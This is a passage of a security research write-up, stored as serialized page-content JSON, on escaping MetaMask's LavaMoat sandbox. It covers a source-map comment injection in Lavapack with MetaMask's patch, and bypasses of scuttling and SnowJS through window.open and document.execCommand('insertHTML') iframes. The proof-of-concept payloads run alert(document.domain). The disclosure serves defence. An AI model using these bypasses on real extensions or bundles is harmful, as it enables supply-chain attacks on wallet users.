,{"type":30,"value":48449},{"type":25,"tag":271,"props":62262,"children":62263},{"class":13593,"line":16434},[62264],{"type":25,"tag":271,"props":62265,"children":62266},{"emptyLinePlaceholder":18},[62267],{"type":30,"value":16829},{"type":25,"tag":271,"props":62269,"children":62270},{"class":13593,"line":16447},[62271,62275,62279,62283,62287,62291,62295,62299],{"type":25,"tag":271,"props":62272,"children":62273},{"style":13609},[62274],{"type":30,"value":50996},{"type":25,"tag":271,"props":62276,"children":62277},{"style":13625},[62278],{"type":30,"value":1860},{"type":25,"tag":271,"props":62280,"children":62281},{"style":13620},[62282],{"type":30,"value":61886},{"type":25,"tag":271,"props":62284,"children":62285},{"style":13603},[62286],{"type":30,"value":16155},{"type":25,"tag":271,"props":62288,"children":62289},{"style":14289},[62290],{"type":30,"value":51324},{"type":25,"tag":271,"props":62292,"children":62293},{"style":13625},[62294],{"type":30,"value":16213},{"type":25,"tag":271,"props":62296,"children":62297},{"style":13598},[62298],{"type":30,"value":45782},{"type":25,"tag":271,"props":62300,"children":62301},{"style":13625},[62302],{"type":30,"value":27925},{"type":25,"tag":271,"props":62304,"children":62305},{"class":13593,"line":16465},[62306,62310,62314,62318,62323,62327,62331,62335,62340,62344,62349],{"type":25,"tag":271,"props":62307,"children":62308},{"style":16171},[62309],{"type":30,"value":52309},{"type":25,"tag":271,"props":62311,"children":62312},{"style":13598},[62313],{"type":30,"value":61477},{"type":25,"tag":271,"props":62315,"children":62316},{"style":13625},[62317],{"type":30,"value":1860},{"type":25,"tag":271,"props":62319,"children":62320},{"style":13620},[62321],{"type":30,"value":62322},"replace",{"type":25,"tag":271,"props":62324,"children":62325},{"style":13625},[62326],{"type":30,"value":394},{"type":25,"tag":271,"props":62328,"children":62329},{"style":13609},[62330],{"type":30,"value":50996},{"type":25,"tag":271,"props":62332,"children":62333},{"style":13625},[62334],{"type":30,"value":1860},{"type":25,"tag":271,"props":62336,"children":62337},{"style":13598},[62338],{"type":30,"value":62339},"commentRegex",{"type":25,"tag":271,"props":62341,"children":62342},{"style":13625},[62343],{"type":30,"value":44},{"type":25,"tag":271,"props":62345,"children":62346},{"style":17388},[62347],{"type":30,"value":62348},"''",{"type":25,"tag":271,"props":62350,"children":62351},{"style":13625},[62352],{"type":30,"value":13665},{"type":25,"tag":271,"props":62354,"children":62355},{"class":13593,"line":16486},[62356],{"type":25,"tag":271,"props":62357,"children":62358},{"style":13625},[62359],{"type":30,"value":29700},{"type":25,"tag":26,"props":62361,"children":62362},{},[62363,62365,62371],{"type":30,"value":62364},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":25,"tag":264,"props":62366,"children":62368},{"className":62367},[],[62369],{"type":30,"value":62370},"/*",{"type":30,"value":62372},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":25,"tag":247,"props":62374,"children":62376},{"id":62375},"the-bypass",[62377],{"type":30,"value":62378},"The Bypass",{"type":25,"tag":26,"props":62380,"children":62381},{},[62382,62384,62389,62391,62396],{"type":30,"value":62383},"By abusing the ",{"type":25,"tag":264,"props":62385,"children":62387},{"className":62386},[],[62388],{"type":30,"value":61886},{"type":30,"value":62390}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":25,"tag":264,"props":62392,"children":62394},{"className":62393},[],[62395],{"type":30,"value":61230},{"type":30,"value":62397}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":25,"tag":7764,"props":62399,"children":62401},{"className":44475,"code":62400,"language":44477,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[62402],{"type":25,"tag":264,"props":62403,"children":62404},{"__ignoreMap":7},[62405,62413,62420,62428,62436,62444,62452,62460,62468,62475,62483],{"type":25,"tag":271,"props":62406,"children":62407},{"class":13593,"line":13594},[62408],{"type":25,"tag":271,"props":62409,"children":62410},{"style":14385},[62411],{"type":30,"value":62412},"/*# sourceMappingURL=data:,{}\n",{"type":25,"tag":271,"props":62414,"children":62415},{"class":13593,"line":11641},[62416],{"type":25,"tag":271,"props":62417,"children":62418},{"emptyLinePlaceholder":18},[62419],{"type":30,"value":16829},{"type":25,"tag":271,"props":62421,"children":62422},{"class":13593,"line":14354},[62423],{"type":25,"tag":271,"props":62424,"children":62425},{"style":14385},[62426],{"type":30,"value":62427},"}}}}\n",{"type":25,"tag":271,"props":62429,"children":62430},{"class":13593,"line":14391},[62431],{"type":25,"tag":271,"props":62432,"children":62433},{"style":14385},[62434],{"type":30,"value":62435},"}, {\n",{"type":25,"tag":271,"props":62437,"children":62438},{"class":13593,"line":14400},[62439],{"type":25,"tag":271,"props":62440,"children":62441},{"style":14385},[62442],{"type":30,"value":62443},"    package: \"xpl\",\n",{"type":25,"tag":271,"props":62445,"children":62446},{"class":13593,"line":16406},[62447],{"type":25,"tag":271,"props":62448,"children":62449},{"style":14385},[62450],{"type":30,"value":62451},"    file: \"node_modules/xpl/index.js\",\n",{"type":25,"tag":271,"props":62453,"children":62454},{"class":13593,"line":16434},[62455],{"type":25,"tag":271,"props":62456,"children":62457},{"style":14385},[62458],{"type":30,"value":62459},"    test: alert(document.domain),\n",{"type":25,"tag":271,"props":62461,"children":62462},{"class":13593,"line":16447},[62463],{"type":25,"tag":271,"props":62464,"children":62465},{"style":14385},[62466],{"type":30,"value":62467},"    test1: () => { () => { () => { () => {\n",{"type":25,"tag":271,"props":62469,"children":62470},{"class":13593,"line":16465},[62471],{"type":25,"tag":271,"props":62472,"children":62473},{"emptyLinePlaceholder":18},[62474],{"type":30,"value":16829},{"type":25,"tag":271,"props":62476,"children":62477},{"class":13593,"line":16486},[62478],{"type":25,"tag":271,"props":62479,"children":62480},{"style":14385},[62481],{"type":30,"value":62482},"/*\n",{"type":25,"tag":271,"props":62484,"children":62485},{"class":13593,"line":16495},[62486],{"type":25,"tag":271,"props":62487,"children":62488},{"style":14385},[62489],{"type":30,"value":62490},"*/\n",{"type":25,"tag":26,"props":62492,"children":62493},{},[62494],{"type":30,"value":62495},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":25,"tag":247,"props":62497,"children":62499},{"id":62498},"lavapack-patch",[62500],{"type":30,"value":62501},"Lavapack Patch",{"type":25,"tag":26,"props":62503,"children":62504},{},[62505,62507,62513],{"type":30,"value":62506},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":25,"tag":264,"props":62508,"children":62510},{"className":62509},[],[62511],{"type":30,"value":62512},"assertValidJS",{"type":30,"value":62514},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":25,"tag":26,"props":62516,"children":62517},{},[62518,62520,62527],{"type":30,"value":62519},"The patch was introduced in commit ",{"type":25,"tag":83,"props":62521,"children":62524},{"href":62522,"rel":62523},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[9066],[62525],{"type":30,"value":62526},"9c38cd4",{"type":30,"value":1860},{"type":25,"tag":7764,"props":62529,"children":62531},{"className":53471,"code":62530,"language":53473,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[62532],{"type":25,"tag":264,"props":62533,"children":62534},{"__ignoreMap":7},[62535,62543,62551,62559,62567,62575,62583,62591,62598,62606],{"type":25,"tag":271,"props":62536,"children":62537},{"class":13593,"line":13594},[62538],{"type":25,"tag":271,"props":62539,"children":62540},{"style":16187},[62541],{"type":30,"value":62542},"+ function assertValidJS(code) {\n",{"type":25,"tag":271,"props":62544,"children":62545},{"class":13593,"line":11641},[62546],{"type":25,"tag":271,"props":62547,"children":62548},{"style":16187},[62549],{"type":30,"value":62550},"+  try {\n",{"type":25,"tag":271,"props":62552,"children":62553},{"class":13593,"line":14354},[62554],{"type":25,"tag":271,"props":62555,"children":62556},{"style":16187},[62557],{"type":30,"value":62558},"+    new Function(code)\n",{"type":25,"tag":271,"props":62560,"children":62561},{"class":13593,"line":14391},[62562],{"type":25,"tag":271,"props":62563,"children":62564},{"style":16187},[62565],{"type":30,"value":62566},"+  } catch (err) {\n",{"type":25,"tag":271,"props":62568,"children":62569},{"class":13593,"line":14400},[62570],{"type":25,"tag":271,"props":62571,"children":62572},{"style":16187},[62573],{"type":30,"value":62574},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":25,"tag":271,"props":62576,"children":62577},{"class":13593,"line":16406},[62578],{"type":25,"tag":271,"props":62579,"children":62580},{"style":16187},[62581],{"type":30,"value":62582},"+  }\n",{"type":25,"tag":271,"props":62584,"children":62585},{"class":13593,"line":16434},[62586],{"type":25,"tag":271,"props":62587,"children":62588},{"style":16187},[62589],{"type":30,"value":62590},"+ }\n",{"type":25,"tag":271,"props":62592,"children":62593},{"class":13593,"line":16447},[62594],{"type":25,"tag":271,"props":62595,"children":62596},{"emptyLinePlaceholder":18},[62597],{"type":30,"value":16829},{"type":25,"tag":271,"props":62599,"children":62600},{"class":13593,"line":16465},[62601],{"type":25,"tag":271,"props":62602,"children":62603},{"style":16187},[62604],{"type":30,"value":62605},"+  // additional layer of syntax checking independent of browserify\n",{"type":25,"tag":271,"props":62607,"children":62608},{"class":13593,"line":16486},[62609],{"type":25,"tag":271,"props":62610,"children":62611},{"style":16187},[62612],{"type":30,"value":62613},"+  assertValidJS(sourceMeta.code)\n",{"type":25,"tag":96,"props":62615,"children":62617},{"id":62616},"hacking-js-realms",[62618],{"type":30,"value":62619},"Hacking JS Realms",{"type":25,"tag":26,"props":62621,"children":62622},{},[62623,62625,62630],{"type":30,"value":62624},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":25,"tag":264,"props":62626,"children":62628},{"className":62627},[],[62629],{"type":30,"value":50528},{"type":30,"value":62631}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":25,"tag":7764,"props":62633,"children":62635},{"className":44475,"code":62634,"language":44477,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[62636],{"type":25,"tag":264,"props":62637,"children":62638},{"__ignoreMap":7},[62639,62681],{"type":25,"tag":271,"props":62640,"children":62641},{"class":13593,"line":13594},[62642,62646,62651,62655,62659,62663,62668,62672,62677],{"type":25,"tag":271,"props":62643,"children":62644},{"style":14289},[62645],{"type":30,"value":22778},{"type":25,"tag":271,"props":62647,"children":62648},{"style":13598},[62649],{"type":30,"value":62650}," w",{"type":25,"tag":271,"props":62652,"children":62653},{"style":13603},[62654],{"type":30,"value":16155},{"type":25,"tag":271,"props":62656,"children":62657},{"style":13598},[62658],{"type":30,"value":44520},{"type":25,"tag":271,"props":62660,"children":62661},{"style":13625},[62662],{"type":30,"value":1860},{"type":25,"tag":271,"props":62664,"children":62665},{"style":13620},[62666],{"type":30,"value":62667},"open",{"type":25,"tag":271,"props":62669,"children":62670},{"style":13625},[62671],{"type":30,"value":394},{"type":25,"tag":271,"props":62673,"children":62674},{"style":17388},[62675],{"type":30,"value":62676},"'/non_existent'",{"type":25,"tag":271,"props":62678,"children":62679},{"style":13625},[62680],{"type":30,"value":13665},{"type":25,"tag":271,"props":62682,"children":62683},{"class":13593,"line":11641},[62684,62688,62692,62696,62700,62704,62708,62712],{"type":25,"tag":271,"props":62685,"children":62686},{"style":13598},[62687],{"type":30,"value":11188},{"type":25,"tag":271,"props":62689,"children":62690},{"style":13625},[62691],{"type":30,"value":1860},{"type":25,"tag":271,"props":62693,"children":62694},{"style":13620},[62695],{"type":30,"value":45810},{"type":25,"tag":271,"props":62697,"children":62698},{"style":13625},[62699],{"type":30,"value":394},{"type":25,"tag":271,"props":62701,"children":62702},{"style":13598},[62703],{"type":30,"value":45820},{"type":25,"tag":271,"props":62705,"children":62706},{"style":13625},[62707],{"type":30,"value":1860},{"type":25,"tag":271,"props":62709,"children":62710},{"style":13598},[62711],{"type":30,"value":45830},{"type":25,"tag":271,"props":62713,"children":62714},{"style":13625},[62715],{"type":30,"value":16299},{"type":25,"tag":26,"props":62717,"children":62718},{},[62719,62721,62726],{"type":30,"value":62720},"This opens a new window with a new JS Realm (another ",{"type":25,"tag":264,"props":62722,"children":62724},{"className":62723},[],[62725],{"type":30,"value":50528},{"type":30,"value":62727}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":25,"tag":26,"props":62729,"children":62730},{},[62731,62733,62740],{"type":30,"value":62732},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":25,"tag":83,"props":62734,"children":62737},{"href":62735,"rel":62736},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[9066],[62738],{"type":30,"value":62739},"Metamask implementation",{"type":30,"value":440},{"type":25,"tag":247,"props":62742,"children":62744},{"id":62743},"snowjs-attack-surface",[62745],{"type":30,"value":62746},"SnowJS Attack Surface",{"type":25,"tag":26,"props":62748,"children":62749},{},[62750],{"type":30,"value":62751},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":25,"tag":26,"props":62753,"children":62754},{},[62755,62757,62764],{"type":30,"value":62756},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":25,"tag":83,"props":62758,"children":62761},{"href":62759,"rel":62760},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[9066],[62762],{"type":30,"value":62763},"hooked inserters",{"type":30,"value":62765}," functions:",{"type":25,"tag":7764,"props":62767,"children":62769},{"className":44475,"code":62768,"language":44477,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[62770],{"type":25,"tag":264,"props":62771,"children":62772},{"__ignoreMap":7},[62773,62793,62814,62853,62907,62946,63045,63065,63086],{"type":25,"tag":271,"props":62774,"children":62775},{"class":13593,"line":13594},[62776,62780,62785,62789],{"type":25,"tag":271,"props":62777,"children":62778},{"style":14289},[62779],{"type":30,"value":22778},{"type":25,"tag":271,"props":62781,"children":62782},{"style":13598},[62783],{"type":30,"value":62784}," map",{"type":25,"tag":271,"props":62786,"children":62787},{"style":13603},[62788],{"type":30,"value":16155},{"type":25,"tag":271,"props":62790,"children":62791},{"style":13625},[62792],{"type":30,"value":16431},{"type":25,"tag":271,"props":62794,"children":62795},{"class":13593,"line":11641},[62796,62801,62805,62810],{"type":25,"tag":271,"props":62797,"children":62798},{"style":13598},[62799],{"type":30,"value":62800},"    Range:",{"type":25,"tag":271,"props":62802,"children":62803},{"style":13625},[62804],{"type":30,"value":36132},{"type":25,"tag":271,"props":62806,"children":62807},{"style":17388},[62808],{"type":30,"value":62809},"'insertNode'",{"type":25,"tag":271,"props":62811,"children":62812},{"style":13625},[62813],{"type":30,"value":27384},{"type":25,"tag":271,"props":62815,"children":62816},{"class":13593,"line":14354},[62817,62822,62826,62831,62835,62840,62844,62849],{"type":25,"tag":271,"props":62818,"children":62819},{"style":13598},[62820],{"type":30,"value":62821},"    DocumentFragment:",{"type":25,"tag":271,"props":62823,"children":62824},{"style":13625},[62825],{"type":30,"value":36132},{"type":25,"tag":271,"props":62827,"children":62828},{"style":17388},[62829],{"type":30,"value":62830},"'replaceChildren'",{"type":25,"tag":271,"props":62832,"children":62833},{"style":13625},[62834],{"type":30,"value":44},{"type":25,"tag":271,"props":62836,"children":62837},{"style":17388},[62838],{"type":30,"value":62839},"'append'",{"type":25,"tag":271,"props":62841,"children":62842},{"style":13625},[62843],{"type":30,"value":44},{"type":25,"tag":271,"props":62845,"children":62846},{"style":17388},[62847],{"type":30,"value":62848},"'prepend'",{"type":25,"tag":271,"props":62850,"children":62851},{"style":13625},[62852],{"type":30,"value":27384},{"type":25,"tag":271,"props":62854,"children":62855},{"class":13593,"line":14391},[62856,62861,62865,62869,62873,62877,62881,62885,62889,62894,62898,62903],{"type":25,"tag":271,"props":62857,"children":62858},{"style":13598},[62859],{"type":30,"value":62860},"    Document:",{"type":25,"tag":271,"props":62862,"children":62863},{"style":13625},[62864],{"type":30,"value":36132},{"type":25,"tag":271,"props":62866,"children":62867},{"style":17388},[62868],{"type":30,"value":62830},{"type":25,"tag":271,"props":62870,"children":62871},{"style":13625},[62872],{"type":30,"value":44},{"type":25,"tag":271,"props":62874,"children":62875},{"style":17388},[62876],{"type":30,"value":62839},{"type":25,"tag":271,"props":62878,"children":62879},{"style":13625},[62880],{"type":30,"value":44},{"type":25,"tag":271,"props":62882,"children":62883},{"style":17388},[62884],{"type":30,"value":62848},{"type":25,"tag":271,"props":62886,"children":62887},{"style":13625},[62888],{"type":30,"value":44},{"type":25,"tag":271,"props":62890,"children":62891},{"style":17388},[62892],{"type":30,"value":62893},"'write'",{"type":25,"tag":271,"props":62895,"children":62896},{"style":13625},[62897],{"type":30,"value":44},{"type":25,"tag":271,"props":62899,"children":62900},{"style":17388},[62901],{"type":30,"value":62902},"'writeln'",{"type":25,"tag":271,"props":62904,"children":62905},{"style":13625},[62906],{"type":30,"value":27384},{"type":25,"tag":271,"props":62908,"children":62909},{"class":13593,"line":14400},[62910,62915,62919,62924,62928,62933,62937,62942],{"type":25,"tag":271,"props":62911,"children":62912},{"style":13598},[62913],{"type":30,"value":62914},"    Node:",{"type":25,"tag":271,"props":62916,"children":62917},{"style":13625},[62918],{"type":30,"value":36132},{"type":25,"tag":271,"props":62920,"children":62921},{"style":17388},[62922],{"type":30,"value":62923},"'appendChild'",{"type":25,"tag":271,"props":62925,"children":62926},{"style":13625},[62927],{"type":30,"value":44},{"type":25,"tag":271,"props":62929,"children":62930},{"style":17388},[62931],{"type":30,"value":62932},"'insertBefore'",{"type":25,"tag":271,"props":62934,"children":62935},{"style":13625},[62936],{"type":30,"value":44},{"type":25,"tag":271,"props":62938,"children":62939},{"style":17388},[62940],{"type":30,"value":62941},"'replaceChild'",{"type":25,"tag":271,"props":62943,"children":62944},{"style":13625},[62945],{"type":30,"value":27384},{"type":25,"tag":271,"props":62947,"children":62948},{"class":13593,"line":16406},[62949,62954,62958,62963,62967,62972,62976,62981,62985,62990,62994,62999,63003,63007,63011,63016,63020,63024,63028,63033,63037,63041],{"type":25,"tag":271,"props":62950,"children":62951},{"style":13598},[62952],{"type":30,"value":62953},"    Element:",{"type":25,"tag":271,"props":62955,"children":62956},{"style":13625},[62957],{"type":30,"value":36132},{"type":25,"tag":271,"props":62959,"children":62960},{"style":17388},[62961],{"type":30,"value":62962},"'innerHTML'",{"type":25,"tag":271,"props":62964,"children":62965},{"style":13625},[62966],{"type":30,"value":44},{"type":25,"tag":271,"props":62968,"children":62969},{"style":17388},[62970],{"type":30,"value":62971},"'outerHTML'",{"type":25,"tag":271,"props":62973,"children":62974},{"style":13625},[62975],{"type":30,"value":44},{"type":25,"tag":271,"props":62977,"children":62978},{"style":17388},[62979],{"type":30,"value":62980},"'insertAdjacentHTML'",{"type":25,"tag":271,"props":62982,"children":62983},{"style":13625},[62984],{"type":30,"value":44},{"type":25,"tag":271,"props":62986,"children":62987},{"style":17388},[62988],{"type":30,"value":62989},"'replaceWith'",{"type":25,"tag":271,"props":62991,"children":62992},{"style":13625},[62993],{"type":30,"value":44},{"type":25,"tag":271,"props":62995,"children":62996},{"style":17388},[62997],{"type":30,"value":62998},"'insertAdjacentElement'",{"type":25,"tag":271,"props":63000,"children":63001},{"style":13625},[63002],{"type":30,"value":44},{"type":25,"tag":271,"props":63004,"children":63005},{"style":17388},[63006],{"type":30,"value":62839},{"type":25,"tag":271,"props":63008,"children":63009},{"style":13625},[63010],{"type":30,"value":44},{"type":25,"tag":271,"props":63012,"children":63013},{"style":17388},[63014],{"type":30,"value":63015},"'before'",{"type":25,"tag":271,"props":63017,"children":63018},{"style":13625},[63019],{"type":30,"value":44},{"type":25,"tag":271,"props":63021,"children":63022},{"style":17388},[63023],{"type":30,"value":62848},{"type":25,"tag":271,"props":63025,"children":63026},{"style":13625},[63027],{"type":30,"value":44},{"type":25,"tag":271,"props":63029,"children":63030},{"style":17388},[63031],{"type":30,"value":63032},"'after'",{"type":25,"tag":271,"props":63034,"children":63035},{"style":13625},[63036],{"type":30,"value":44},{"type":25,"tag":271,"props":63038,"children":63039},{"style":17388},[63040],{"type":30,"value":62830},{"type":25,"tag":271,"props":63042,"children":63043},{"style":13625},[63044],{"type":30,"value":27384},{"type":25,"tag":271,"props":63046,"children":63047},{"class":13593,"line":16434},[63048,63053,63057,63061],{"type":25,"tag":271,"props":63049,"children":63050},{"style":13598},[63051],{"type":30,"value":63052},"    ShadowRoot:",{"type":25,"tag":271,"props":63054,"children":63055},{"style":13625},[63056],{"type":30,"value":36132},{"type":25,"tag":271,"props":63058,"children":63059},{"style":17388},[63060],{"type":30,"value":62962},{"type":25,"tag":271,"props":63062,"children":63063},{"style":13625},[63064],{"type":30,"value":27384},{"type":25,"tag":271,"props":63066,"children":63067},{"class":13593,"line":16447},[63068,63073,63077,63082],{"type":25,"tag":271,"props":63069,"children":63070},{"style":13598},[63071],{"type":30,"value":63072},"    HTMLIFrameElement:",{"type":25,"tag":271,"props":63074,"children":63075},{"style":13625},[63076],{"type":30,"value":36132},{"type":25,"tag":271,"props":63078,"children":63079},{"style":17388},[63080],{"type":30,"value":63081},"'srcdoc'",{"type":25,"tag":271,"props":63083,"children":63084},{"style":13625},[63085],{"type":30,"value":27384},{"type":25,"tag":271,"props":63087,"children":63088},{"class":13593,"line":16465},[63089],{"type":25,"tag":271,"props":63090,"children":63091},{"style":13625},[63092],{"type":30,"value":29700},{"type":25,"tag":26,"props":63094,"children":63095},{},[63096],{"type":30,"value":63097},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":25,"tag":26,"props":63099,"children":63100},{},[63101],{"type":30,"value":63102},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":25,"tag":247,"props":63104,"children":63106},{"id":63105},"bypassing-snowjs",[63107],{"type":30,"value":63108},"Bypassing SnowJS",{"type":25,"tag":26,"props":63110,"children":63111},{},[63112,63114,63125,63127,63133],{"type":30,"value":63113},"The deprecated ",{"type":25,"tag":83,"props":63115,"children":63118},{"href":63116,"rel":63117},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[9066],[63119],{"type":25,"tag":264,"props":63120,"children":63122},{"className":63121},[],[63123],{"type":30,"value":63124},"document.execCommand",{"type":30,"value":63126}," function is used to execute commands inside a ",{"type":25,"tag":264,"props":63128,"children":63130},{"className":63129},[],[63131],{"type":30,"value":63132},"contenteditable",{"type":30,"value":63134}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":25,"tag":7764,"props":63136,"children":63139},{"className":63137,"code":63138,"language":45495,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[63140],{"type":25,"tag":264,"props":63141,"children":63142},{"__ignoreMap":7},[63143],{"type":25,"tag":271,"props":63144,"children":63145},{"class":13593,"line":13594},[63146,63150,63154,63158,63162,63167,63172,63177,63182,63186],{"type":25,"tag":271,"props":63147,"children":63148},{"style":45488},[63149],{"type":30,"value":14307},{"type":25,"tag":271,"props":63151,"children":63152},{"style":14289},[63153],{"type":30,"value":44458},{"type":25,"tag":271,"props":63155,"children":63156},{"style":13598},[63157],{"type":30,"value":45568},{"type":25,"tag":271,"props":63159,"children":63160},{"style":13625},[63161],{"type":30,"value":1065},{"type":25,"tag":271,"props":63163,"children":63164},{"style":17388},[63165],{"type":30,"value":63166},"test",{"type":25,"tag":271,"props":63168,"children":63169},{"style":13598},[63170],{"type":30,"value":63171}," contenteditable",{"type":25,"tag":271,"props":63173,"children":63174},{"style":13598},[63175],{"type":30,"value":63176}," autofocus",{"type":25,"tag":271,"props":63178,"children":63179},{"style":45488},[63180],{"type":30,"value":63181},">\u003C/",{"type":25,"tag":271,"props":63183,"children":63184},{"style":14289},[63185],{"type":30,"value":44458},{"type":25,"tag":271,"props":63187,"children":63188},{"style":45488},[63189],{"type":30,"value":14448},{"type":25,"tag":26,"props":63191,"children":63192},{},[63193,63195,63201,63203,63208],{"type":30,"value":63194},"After inserting this element to a page, it is possible to use ",{"type":25,"tag":264,"props":63196,"children":63198},{"className":63197},[],[63199],{"type":30,"value":63200},"insertHTML",{"type":30,"value":63202}," command of ",{"type":25,"tag":264,"props":63204,"children":63206},{"className":63205},[],[63207],{"type":30,"value":63124},{"type":30,"value":63209}," to add a non-sandboxed iframe.",{"type":25,"tag":7764,"props":63211,"children":63213},{"className":44475,"code":63212,"language":44477,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[63214],{"type":25,"tag":264,"props":63215,"children":63216},{"__ignoreMap":7},[63217],{"type":25,"tag":271,"props":63218,"children":63219},{"class":13593,"line":13594},[63220,63224,63228,63233,63237,63242,63246,63250,63254,63259],{"type":25,"tag":271,"props":63221,"children":63222},{"style":13598},[63223],{"type":30,"value":45820},{"type":25,"tag":271,"props":63225,"children":63226},{"style":13625},[63227],{"type":30,"value":1860},{"type":25,"tag":271,"props":63229,"children":63230},{"style":13620},[63231],{"type":30,"value":63232},"execCommand",{"type":25,"tag":271,"props":63234,"children":63235},{"style":13625},[63236],{"type":30,"value":394},{"type":25,"tag":271,"props":63238,"children":63239},{"style":17388},[63240],{"type":30,"value":63241},"'insertHTML'",{"type":25,"tag":271,"props":63243,"children":63244},{"style":13625},[63245],{"type":30,"value":44},{"type":25,"tag":271,"props":63247,"children":63248},{"style":14289},[63249],{"type":30,"value":21296},{"type":25,"tag":271,"props":63251,"children":63252},{"style":13625},[63253],{"type":30,"value":44},{"type":25,"tag":271,"props":63255,"children":63256},{"style":17388},[63257],{"type":30,"value":63258},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":25,"tag":271,"props":63260,"children":63261},{"style":13625},[63262],{"type":30,"value":13665},{"type":25,"tag":247,"props":63264,"children":63266},{"id":63265},"impact-on-lavamoat-scuttling",[63267],{"type":30,"value":63268},"Impact On Lavamoat Scuttling",{"type":25,"tag":26,"props":63270,"children":63271},{},[63272],{"type":30,"value":63273},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":25,"tag":26,"props":63275,"children":63276},{},[63277,63279,63284,63286,63291],{"type":30,"value":63278},"For the exploit, the only used functions are in ",{"type":25,"tag":264,"props":63280,"children":63282},{"className":63281},[],[63283],{"type":30,"value":45820},{"type":30,"value":63285}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":25,"tag":264,"props":63287,"children":63289},{"className":63288},[],[63290],{"type":30,"value":50528},{"type":30,"value":63292}," object.",{"type":25,"tag":26,"props":63294,"children":63295},{},[63296,63298,63303],{"type":30,"value":63297},"Consider this example, which runs a scuttled ",{"type":25,"tag":264,"props":63299,"children":63301},{"className":63300},[],[63302],{"type":30,"value":45810},{"type":30,"value":38578},{"type":25,"tag":7764,"props":63305,"children":63307},{"className":44475,"code":63306,"language":44477,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[63308],{"type":25,"tag":264,"props":63309,"children":63310},{"__ignoreMap":7},[63311,63347,63384,63427],{"type":25,"tag":271,"props":63312,"children":63313},{"class":13593,"line":13594},[63314,63318,63322,63326,63330,63334,63338,63343],{"type":25,"tag":271,"props":63315,"children":63316},{"style":13598},[63317],{"type":30,"value":45820},{"type":25,"tag":271,"props":63319,"children":63320},{"style":13625},[63321],{"type":30,"value":1860},{"type":25,"tag":271,"props":63323,"children":63324},{"style":13598},[63325],{"type":30,"value":45512},{"type":25,"tag":271,"props":63327,"children":63328},{"style":13625},[63329],{"type":30,"value":1860},{"type":25,"tag":271,"props":63331,"children":63332},{"style":13598},[63333],{"type":30,"value":48083},{"type":25,"tag":271,"props":63335,"children":63336},{"style":13603},[63337],{"type":30,"value":16155},{"type":25,"tag":271,"props":63339,"children":63340},{"style":17388},[63341],{"type":30,"value":63342}," \"\u003Cdiv id=test contenteditable 